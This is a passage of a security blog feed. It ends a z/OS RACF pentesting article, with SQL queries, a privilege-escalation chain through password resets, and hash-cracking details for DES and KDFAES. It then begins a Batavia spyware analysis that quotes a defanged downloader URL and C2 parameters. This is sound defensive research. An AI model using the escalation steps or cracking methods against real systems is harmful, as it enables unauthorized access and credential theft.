<div id="attachment_116882" style="width: 1534px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116882" class="size-full wp-image-116882" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8.png" alt="Scope of influence of a user with a group-SPECIAL field" width="1524" height="1209" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8.png 1524w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8-300x238.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8-1024x812.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8-768x609.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8-441x350.png 441w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8-740x587.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8-353x280.png 353w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223808/zos-mainframe8-800x635.png 800w" sizes="auto, (max-width: 1524px) 100vw, 1524px" /></a><p id="caption-attachment-116882" class="wp-caption-text">Scope of influence of a user with a group-SPECIAL field</p></div>
<p>For instance, consider USER1 with GROUP1 specified in the group-SPECIAL field. If GROUP1 owns GROUP2, and GROUP2 subsequently owns USER5, then USER1 gains privileges over USER5. This is not just about data access; USER1 essentially becomes the owner of USER5. A unique aspect of z/OS is that this level of access allows USER1 to, for example, change USER5’s password, even if USER5 holds privileged attributes like SPECIAL, OPERATIONS, ROAUDIT, AUDITOR, or PROTECTED.</p>
<p>Below is an SQL query, generated using the racfudit utility, that identifies all users and groups where the specified user possesses special attributes:</p>
<pre class="urvanov-syntax-highlighter-plain-tag">select ProfileName, CGGRPNM, CGUACC, CGFLAG2 from USER_BASE WHERE (CGFLAG2 LIKE '%10000000%');</pre> </p>
<p>Here is a query to find users whose owners (AUTHOR) are not the standard default administrators:</p>
<pre class="urvanov-syntax-highlighter-plain-tag">select ProfileName,AUTHOR from USER_BASE WHERE (AUTHOR NOT LIKE '%IBMUSER%' AND AUTHOR NOT LIKE 'SYS1%');</pre> </p>
<p>Let’s illustrate how user privileges can be escalated through these implicit profile relationships.</p>
<div id="attachment_116883" style="width: 1166px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116883" class="size-full wp-image-116883" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9.png" alt="Privilege escalation via the group-SPECIAL field" width="1156" height="575" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9.png 1156w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9-300x149.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9-1024x509.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9-768x382.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9-704x350.png 704w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9-740x368.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9-563x280.png 563w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06223958/zos-mainframe9-800x398.png 800w" sizes="auto, (max-width: 1156px) 100vw, 1156px" /></a><p id="caption-attachment-116883" class="wp-caption-text">Privilege escalation via the group-SPECIAL field</p></div>
<p>In this scenario, the user TESTUSR has the group-SPECIAL field set to PASSADM. This group, PASSADM, owns the OPERATOR user. This means TESTUSR’s scope of influence expands to include PASSADM’s scope, thereby granting TESTUSR control over OPERATOR. Consequently, if TESTUSR’s credentials are compromised, the attacker gains access to the OPERATOR user. The OPERATOR user, in turn, has READ access to the IRR.PASSWORD.RESET resource, which allows them to assign a password to any user who does not possess privileged permissions.</p>
<p>Having elevated privileges in z/OS UNIX is often sufficient for compromising the mainframe. These can be acquired through several methods:</p>
<ul>
<li>Grant the user READ access to the BPX.SUPERUSER resource of the FACILITY class.</li>
<li>Grant the user READ access to UNIXPRIV.SUPERUSER.* resources of the UNIXPRIV class.</li>
<li>Set the UID field to 0 in the OMVS segment of the user profile.</li>
</ul>
<p>For example, the DFSOPER user has READ access to the BPX.SUPERUSER resource, making them privileged in z/OS UNIX and, by extension, across the entire mainframe. However, DFSOPER does not have the explicit privileged fields SPECIAL, OPERATIONS, AUDITOR, ROAUDIT and PROTECTED set, meaning the OPERATOR user can change DFSOPER’s password. This allows us to define the following sequence of actions to achieve high privileges on the mainframe:</p>
<ol>
<li>Obtain and use TESTUSR’s credentials to log in.</li>
<li>Change OPERATOR’s password and log in with those credentials.</li>
<li>Change DFSOPER’s password and log in with those credentials.</li>
<li>Access the z/OS UNIX Shell with elevated privileges.</li>
</ol>
<p>We uncovered another implicit RACF profile relationship that enables user privilege escalation.</p>
<div id="attachment_116884" style="width: 1166px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116884" class="size-full wp-image-116884" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10.png" alt="Privilege escalation from a chain of misconfigurations" width="1156" height="575" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10.png 1156w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10-300x149.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10-1024x509.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10-768x382.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10-704x350.png 704w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10-740x368.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10-563x280.png 563w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224112/zos-mainframe10-800x398.png 800w" sizes="auto, (max-width: 1156px) 100vw, 1156px" /></a><p id="caption-attachment-116884" class="wp-caption-text">Privilege escalation from a chain of misconfigurations</p></div>
<p>In another example, the TESTUSR user has READ access to the OPERSMS.SUBMIT resource of the SURROGAT class. This implies that TESTUSR can create a task under the identity of OPERSMS using the ImpersonateTo relationship. OPERSMS is a member of the HFSADMIN group, which has READ access to the TESTAUTH resource of the TSOAUTH class. This resource indicates whether the user can run an application or library as APF-authorized – this requires only READ access. Therefore, if <a href="#searching-for-inadequate-uacc-control-in-data-sets">APF access is misconfigured</a>, the OPERSMS user can escalate their current privileges to the highest possible level. This outlines a path from the low-privileged TESTUSR to obtaining maximum privileges on the mainframe.</p>
<p>At this stage, the racfudit utility allows identifying these connections only manually through a series of SQLite database queries. However, we are planning to add support for another output format, including Neo4j DBMS integration, to automatically visualize the interconnected chains described above.</p>
<h2 id="password-hashes-in-racf">Password hashes in RACF</h2>
<p>To escalate privileges and gain mainframe access, we need the credentials of privileged users. We previously used our utility to <a href="#collecting-password-hashes">extract their password hashes</a>. Now, let’s dive into the password policy principles in z/OS and outline methods for recovering passwords from these collected hashes.</p>
<p>The primary password authentication methods in z/OS, based on RACF, are PASSWORD and PASSPHRASE. PASSWORD is a password composed by default of ASCII characters: uppercase English letters, numbers, and special characters (@#$). Its length is limited to 8 characters. PASSPHRASE, or a password phrase, has a more complex policy, allowing 14 to 100 ASCII characters, including lowercase or uppercase English letters, numbers, and an extended set of special characters (@#$&*{}[]()=,.;’+/). Hashes for both PASSWORD and PASSPHRASE are stored in the user profile within the BASE segment, in the PASSWORD and PHRASE fields, respectively. Two algorithms are used to derive their values: DES and KDFAES.</p>
<p>It is worth noting that we use the terms “password hash” and “password phrase hash” for clarity. When using the DES and KDFAES algorithms, user credentials are stored in the RACF database as encrypted text, not as a hash sum in its classical sense. Nevertheless, we will continue to use “password hash” and “password phrase hash” as is customary in IBM documentation.</p>
<p>Let’s discuss the operating principles and characteristics of the DES and KDFAES algorithms in more detail.</p>
<h3 id="des">DES</h3>
<p>When the DES algorithm is used, the computation of PASSWORD and PHRASE values stored in the RACF database involves classic DES encryption. Here, the plaintext data block is the username (<a href="https://en.wikipedia.org/wiki/Padding_(cryptography)" target="_blank" rel="noopener">padded</a> to 8 characters if shorter), and the key is the password (also padded to 8 characters if shorter).</p>
<h4 id="password">PASSWORD</h4>
<p>The username is encrypted with the password as the key via the DES algorithm, and the 8-byte result is placed in the user profile’s PASSWORD field.</p>
<div id="attachment_116885" style="width: 1209px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116885" class="size-full wp-image-116885" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11.png" alt="DES encryption of a password" width="1199" height="524" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11.png 1199w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11-300x131.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11-1024x448.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11-768x336.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11-801x350.png 801w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11-740x323.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11-641x280.png 641w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224222/zos-mainframe11-800x350.png 800w" sizes="auto, (max-width: 1199px) 100vw, 1199px" /></a><p id="caption-attachment-116885" class="wp-caption-text">DES encryption of a password</p></div>
<p>Keep in mind that both the username and password are encoded with <a href="https://www.ibm.com/docs/en/zos-basic-skills?topic=mainframe-ebcdic-character-set" target="_blank" rel="noopener">EBCDIC</a>. For instance, the username <code>USR1</code> would look like this in EBCDIC: <code>e4e2d9f140404040</code>. The byte <code>0x40</code> serves as padding for the plaintext to reach 8 bytes.</p>
<p>This password can be recovered quite fast, given the small keyspace and low computational complexity of DES. For example, a brute-force attack powered by a cluster of NVIDIA 4090 GPUs takes less than five minutes.</p>
<p>The hashcat tool includes a module (Hash-type 8500) for cracking RACF passwords with the DES algorithm.</p>
<h4 id="passphrase">PASSPHRASE</h4>
<p>PASSPHRASE encryption is a bit more complex, and a detailed description of its algorithm is not readily available. However, our research uncovered certain interesting characteristics.</p>
<p>First, the final hash length in the PHRASE field matches the original password phrase length. Essentially, the encrypted data output from DES gets truncated to the input plaintext length without padding. This design can clearly lead to collisions and incorrect authentication under certain conditions. For instance, if the original password phrase is 17 bytes long, it will be encrypted in three blocks, with the last block padded with seven bytes. These padded bytes are then truncated after encryption. In this scenario, any password whose first 17 encrypted bytes match the encrypted PASSPHRASE would be considered valid.</p>
<p>The second interesting feature is that the PHRASE field value is also computed using the DES algorithm, but it employs a proprietary block chaining mode. We will informally refer to this as IBM-custom mode.</p>
<div id="attachment_116886" style="width: 1209px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116886" class="size-full wp-image-116886" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12.png" alt="DES encryption of a password phrase" width="1199" height="524" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12.png 1199w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12-300x131.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12-1024x448.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12-768x336.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12-801x350.png 801w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12-740x323.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12-641x280.png 641w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224333/zos-mainframe12-800x350.png 800w" sizes="auto, (max-width: 1199px) 100vw, 1199px" /></a><p id="caption-attachment-116886" class="wp-caption-text">DES encryption of a password phrase</p></div>
<p>Given these limitations, we can use the hashcat module for RACF DES to recover the first 8 characters of a password phrase from the first block of encrypted data in the PHRASE field. In some practical scenarios, recovering the beginning of a password phrase allowed us to guess the remainder, especially when weak dictionary passwords were used. For example, if we recovered <code>Admin123</code> (8 characters) while cracking a 15-byte PASSPHRASE hash, then it is plausible the full password phrase was <code>Admin1234567890</code>.</p>
<h3 id="kdfaes">KDFAES</h3>
<p>Computing passwords and password phrases generated with the KDFAES algorithm is significantly more challenging than with DES. KDFAES is a proprietary IBM algorithm that leverages AES encryption. The encryption key is generated from the password using the PBKDF2 function with a specific number of hashing iterations.</p>
<h4 id="password">PASSWORD</h4>
<p>The diagram below outlines the multi-stage KDFAES PASSWORD encryption algorithm.</p>
<div id="attachment_116887" style="width: 1517px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116887" class="size-full wp-image-116887" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13.png" alt="KDFAES encryption of a password" width="1507" height="1110" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13.png 1507w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13-300x221.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13-1024x754.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13-768x566.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13-475x350.png 475w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13-740x545.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13-380x280.png 380w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224426/zos-mainframe13-800x589.png 800w" sizes="auto, (max-width: 1507px) 100vw, 1507px" /></a><p id="caption-attachment-116887" class="wp-caption-text">KDFAES encryption of a password</p></div>
<p>The first stage mirrors the DES-based PASSWORD computation algorithm. Here, the plaintext username is encrypted using the DES algorithm with the password as the key. The username is also encoded in EBCDIC and padded if it’s shorter than 8 bytes. The resulting 8-byte output serves as the key for the second stage: hashing. This stage employs a proprietary IBM algorithm built upon PBKDF2-SHA256-HMAC. A randomly generated 16-byte string (salt) is fed into this algorithm along with the 8-byte key from the first stage. This data is then iteratively hashed using PBKDF2-SHA256-HMAC. The number of iterations is determined by two parameters set in RACF: the memory factor and the repetition factor. The output of the second stage is a 32-byte hash, which is then used as the key for AES encryption of the username in the third stage.</p>
<p>The final output is 16 bytes of encrypted data. The first 8 bytes are appended to the end of the PWDX field in the user profile BASE segment, while the other 8 bytes are placed in the PASSWORD field within the same segment.</p>
<p>The PWDX field in the BASE segment has the following structure:</p>
<table>
<tbody>
<tr>
<td><strong>Offset</strong></td>
<td><strong>Size</strong></td>
<td><strong>Field</strong></td>
<td><strong>Comment</strong></td>
</tr>
<tr>
<td><strong>0–3</strong></td>
<td>4 bytes</td>
<td><a href="https://encyclopedia.kaspersky.com/glossary/magic-number/" target="_blank" rel="noopener">Magic number</a></td>
<td>In the profiles we analyzed, we observed only the value E7D7E66D</td>
</tr>
<tr>
<td><strong>4–7</strong></td>
<td>4 bytes</td>
<td>Hash type</td>
<td>In the profiles we analyzed, we observed only two values: 00180000 for PASSWORD hashes and 00140000 for PASSPHRASE hashes</td>
</tr>
<tr>
<td><strong>8–9</strong></td>
<td>2 bytes</td>
<td>Memory factor</td>
<td>A value that determines the number of iterations in the hashing stage</td>
</tr>
<tr>
<td><strong>10–11</strong></td>
<td>2 bytes</td>
<td>Repetition factor</td>
<td>A value that determines the number of iterations in the hashing stage</td>
</tr>
<tr>
<td><strong>12–15</strong></td>
<td>4 bytes</td>
<td>Unknown value</td>
<td>In the profiles we analyzed, we observed only the value 00100010</td>
</tr>
<tr>
<td><strong>16–31</strong></td>
<td>16 bytes</td>
<td>Salt</td>
<td>A randomly generated 16-byte string used in the hashing stage</td>
</tr>
<tr>
<td><strong>32–39</strong></td>
<td>8 bytes</td>
<td>The first half of the password hash</td>
<td>The first 8 bytes of the final encrypted data</td>
</tr>
</tbody>
</table>
<p>You can use the <a href="https://github.com/openwall/john/blob/bleeding-jumbo/src/racf_kdfaes_fmt_plug.c" target="_blank" rel="noopener">dedicated module</a> in the John the Ripper utility for offline password cracking. While an <a href="https://github.com/hashcat/hashcat/pull/2777/commits/f4080424a39e537a4004ec2c9664301a4fc658c2" target="_blank" rel="noopener">IBM KDFAES module</a> for an older version of hashcat exists publicly, it was never integrated into the main branch. Therefore, we developed our own <a href="https://github.com/hashcat/hashcat/pull/3940" target="_blank" rel="noopener">RACF KDFAES module</a> compatible with the current hashcat version.</p>
<p>The time required to crack an RACF KDFAES hash has <a href="https://www.detack.de/_docs/media/19_1_1641358905.pdf" target="_blank" rel="noopener">significantly increased</a> compared to RACF DES, largely due to the integration of PBKDF2. For instance, if the memory factor and repetition factor are set to 0x08 and 0x32 respectively, the hashing stage can reach 40,000 iterations. This can extend the password cracking time to several months or even years.</p>
<h4 id="passphrase">PASSPHRASE</h4>
<div id="attachment_116888" style="width: 1517px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116888" class="size-full wp-image-116888" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14.png" alt="KDFAES encryption of a password phrase" width="1507" height="1110" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14.png 1507w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14-300x221.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14-1024x754.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14-768x566.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14-475x350.png 475w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14-740x545.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14-380x280.png 380w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/06224540/zos-mainframe14-800x589.png 800w" sizes="auto, (max-width: 1507px) 100vw, 1507px" /></a><p id="caption-attachment-116888" class="wp-caption-text">KDFAES encryption of a password phrase</p></div>
<p>Encrypting a password phrase hash with KDFAES shares many similarities with encrypting a password hash. According to <a href="https://www.detack.de/_docs/media/19_1_1641358905.pdf" target="_blank" rel="noopener">public sources</a>, the primary difference lies in the key used during the second stage. For passwords, data derived from DES-encrypting the username was used, while for a password phrase, its SHA256 hash is used. During our analysis, we could not determine the exact password phrase hashing process – specifically, whether padding is involved, if a secret key is used, and so on.</p>
<p>Additionally, when using a password phrase, the PHRASE and PHRASEX fields instead of PASSWORD and PWDX, respectively, store the final hash, with the PHRASEX value having a similar structure.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In this article, we have explored the internal workings of the RACF security package, developed an approach to extracting information, and presented our own tool developed for the purpose. We also outlined several potential misconfigurations that could lead to mainframe compromise and described methods for detecting them. Furthermore, we examined the algorithms used for storing user credentials (passwords and password phrases) and highlighted their strengths and weaknesses.</p>
<p>We hope that the information presented in this article helps mainframe owners better understand and assess the potential risks associated with incorrect RACF security suite configurations and take appropriate mitigation steps. Transitioning to the KDFAES algorithm and password phrases, controlling UACC values, verifying access to APF libraries, regularly tracking user relationship chains, and other steps mentioned in the article can significantly enhance your infrastructure security posture with minimal effort.</p>
<p>In conclusion, it is worth noting that only a small percentage of the RACF database structure has been thoroughly studied. Comprehensive research would involve uncovering additional relationships between database entities, further investigating privileges and their capabilities, and developing tools to exploit excessive privileges. The topic of password recovery is also not fully covered because the encryption algorithms have not been fully studied. IBM z/OS mainframe researchers have immense opportunities for analysis. As for us, we will continue to shed light on the obscure, unexplored aspects of these devices, to help prevent potential vulnerabilities in mainframe infrastructure and associated security incidents.</p>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/zos-mainframe-pentesting-resource-access-control-facility/116873/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091236/zos-racf-featured-image.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091236/zos-racf-featured-image-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091236/zos-racf-featured-image-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/08091236/zos-racf-featured-image-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>Batavia spyware steals data from Russian organizations</title>
<link>https://securelist.com/batavia-spyware-steals-data-from-russian-organizations/116866/</link>
<comments>https://securelist.com/batavia-spyware-steals-data-from-russian-organizations/116866/#respond</comments>
<dc:creator><![CDATA[Kaspersky]]></dc:creator>
<pubDate>Mon, 07 Jul 2025 10:00:26 +0000</pubDate>
<category><![CDATA[Malware descriptions]]></category>
<category><![CDATA[Malware Technologies]]></category>
<category><![CDATA[Microsoft Windows]]></category>
<category><![CDATA[Targeted attacks]]></category>
<category><![CDATA[Malware Descriptions]]></category>
<category><![CDATA[Spyware]]></category>
<category><![CDATA[Spear phishing]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[PowerShell]]></category>
<category><![CDATA[Data theft]]></category>
<category><![CDATA[VBS]]></category>
<category><![CDATA[Windows malware]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116866</guid>
<description><![CDATA[Kaspersky experts have discovered a new spyware called Batavia, which steals data from corporate devices.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/07093411/batavia-featured-image-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><h2 id="introduction">Introduction</h2>
<p>Since early March 2025, our systems have recorded an increase in detections of similar files with names like <code>договор-2025-5.vbe</code>, <code>приложение.vbe</code>, and <code>dogovor.vbe</code> (translation: contract, attachment) among employees at various Russian organizations. The targeted attack begins with bait emails containing malicious links, sent under the pretext of signing a contract. The campaign began in July 2024 and is still ongoing at the time of publication. The main goal of the attack is to infect organizations with the previously unknown Batavia spyware, which then proceeds to steal internal documents. The malware consists of the following malicious components: a VBA script and two executable files, which we will describe in this article. Kaspersky solutions detect these components as <code>HEUR:Trojan.VBS.Batavia.gen</code> and <code>HEUR:Trojan-Spy.Win32.Batavia.gen</code>.</p>
<h2 id="first-stage-of-infection-vbs-script">First stage of infection: VBS script</h2>
<p>As an example, we examined one of the emails users received in February. According to our research, the theme of these emails has remained largely unchanged since the start of the campaign.</p>
<div id="attachment_116869" style="width: 1230px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116869" class="size-full wp-image-116869" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1.png" alt="Example of an email with a malicious link" width="1220" height="904" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1.png 1220w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1-300x222.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1-1024x759.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1-768x569.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1-472x350.png 472w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1-740x548.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1-378x280.png 378w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04222907/batavia-spyware1-800x593.png 800w" sizes="auto, (max-width: 1220px) 100vw, 1220px" /></a><p id="caption-attachment-116869" class="wp-caption-text">Example of an email with a malicious link</p></div>
<p>In this email, the employee is asked to download a contract file supposedly attached to the message. In reality, the attached file is actually a malicious link: <code>https://oblast-ru[.]com/oblast_download/?file=hc1-[redacted]</code>.</p>
<p>Notably, the sender’s address belongs to the same domain – <code>oblast-ru[.]com</code>, which is owned by the attackers. We also observed that the <code>file=hc1-[redacted]</code> argument is unique for each email and is used in subsequent stages of the infection, which we’ll discuss in more detail below.</p>
<p>When the link is clicked, an archive is downloaded to the user’s device, containing just one file: the script <code>Договор-2025-2.vbe</code>, encrypted using Microsoft’s proprietary algorithm (MD5: 2963FB4980127ADB7E045A0F743EAD05).</p>
<div id="attachment_116870" style="width: 694px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04223000/batavia-spyware2.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116870" class="size-full wp-image-116870" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04223000/batavia-spyware2.png" alt="Snippet of the malicious script after decryption" width="684" height="332" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04223000/batavia-spyware2.png 684w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04223000/batavia-spyware2-300x146.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/07/04223000/batavia-spyware2-577x280.png 577w" sizes="auto, (max-width: 684px) 100vw, 684px" /></a><p id="caption-attachment-116870" class="wp-caption-text">Snippet of the malicious script after decryption</p></div>
<p>The script is a downloader that retrieves a specially crafted string of 12 comma-separated parameters from the hardcoded URL <code><strong>https://oblast-ru[.]com/oblast_download/?file=hc1-[redacted]</strong>&vput2</code>. These parameters are arguments for various malicious functions. For example, the script identifies the OS version of the infected device and sends it to the attackers’ C2 server.</p>
<table>
<tbody>
<tr>
<td>#</td>
<td>Value</td>
<td>Description</td>
</tr>
<tr>
<td>1</td>
<td><code>\WebView.exe</code></td>
<td>Filename to save</td>
</tr>
<tr>
<td>2</td>
<td><code>Select * from Win32_OperatingSystem</code></td>
<td>Query to determine OS version and build number</td>
</tr>
<tr>
<td>3</td>
<td><code>Windows 11</code></td>
<td>OS version required for further execution</td>
</tr>
<tr>
<td>4</td>
<td><code>new:c08afd90-f2a1-11d1-8455-00a0c91f3880</code></td>
<td><code>ShellBrowserWindow</code> object ID, used to open the downloaded file via the <code>Navigate()</code> method</td>
</tr>
<tr>
<td>5</td>
<td><code>new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B</code></td>
<td><code>WScript.Shell</code> object ID,<br />
used to run the file via the <code>Run()</code> method</td>
</tr>
<tr>
<td>6</td>
<td><code>winmgmts:\\.\root\cimv2</code></td>
<td>WMI path used to retrieve OS version and build number</td>
</tr>
<tr>
<td>7</td>
<td><code>77;90;80;0</code></td>
<td>First bytes of the downloaded file</td>
</tr>
<tr>
<td>8</td>
<td><code>&dd=d</code></td>
<td>Additional URL arguments for file download</td>
</tr>
<tr>
<td>9</td>
